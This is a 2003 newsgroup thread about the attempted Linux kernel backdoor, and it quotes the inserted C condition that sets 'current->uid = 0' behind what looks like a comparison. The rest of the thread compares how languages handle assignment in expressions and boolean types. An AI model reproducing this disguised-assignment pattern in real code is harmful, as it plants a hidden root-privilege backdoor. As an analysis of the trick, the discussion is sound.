Linux security: mixing assignment with expression

[Dave Benjamin]

Hey folks,

I was just reading about the attempt to insert a backdoor into the Linux
kernel. You can read the details here:

http://kerneltrap.org/node/view/1584

This is the code that the attacker inserted:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

Notice the "current->uid = 0" expression? I think it's pretty clear that the
intent was to confuse the reader, to make the above code appear like it's
doing a comparison, when actually it is assigning 0 to the user ID (0 being
the root user).

In this case, the ability to mix assignment with expression in C not only
affected readability but--as a result--security. I think this clearly lends
credibility to Guido's design decision to deliberately prevent this sort of
"mistake".

--
..:[ dave benjamin (ramenboy) -:- www.ramenfest.com -:- www.3dex.com ]:.
: d r i n k i n g l i f e o u t o f t h e c o n t a i n e r :

[Jay O'Connor]

On Wed, 12 Nov 2003 20:27:14 -0000, Dave Benjamin
<ra***@lackingtalent.com> wrote:

In this case, the ability to mix assignment with expression in C not only
affected readability but--as a result--security. I think this clearly lends
credibility to Guido's design decision to deliberately prevent this sort of
"mistake".

I still prefer the solutions from other languages that use real
boolean types and then either don't allow boolean evaluation of
numbers (Smalltalk) or don't allow assignment of numbers to booleans
(Ada)

[Dave Benjamin]

In article <3f***************@news.cybermesa.com>, Jay O'Connor wrote:

On Wed, 12 Nov 2003 20:27:14 -0000, Dave Benjamin
<ra***@lackingtalent.com> wrote:

In this case, the ability to mix assignment with expression in C not only
affected readability but--as a result--security. I think this clearly lends
credibility to Guido's design decision to deliberately prevent this sort of
"mistake".

I still prefer the solutions from other languages that use real
boolean types and then either don't allow boolean evaluation of
numbers (Smalltalk) or don't allow assignment of numbers to booleans
(Ada)

This still wouldn't be sufficient to prevent the following (admittedly
contrived) example:

if foo in [BAR, BAZ] and (admin_priveleges = True):
return oof

As far as the boolean evaluation issue is concerned, it's a tradeoff between
convenience and clarity sometimes. It's nice to treat an empty list as a
false value:

if items_left:
item = items_left.pop()
diddle(item)

But maybe we're back to the ol' implicit/explicit argument.

Smalltalk is particularly unusual in how it handles booleans. In Python
syntax, it would have to be something like:

Boolean(len(items_left == 0)).ifTrue(lambda: diddle(items_left.pop()))

--
..:[ dave benjamin (ramenboy) -:- www.ramenfest.com -:- www.3dex.com ]:.
: d r i n k i n g l i f e o u t o f t h e c o n t a i n e r :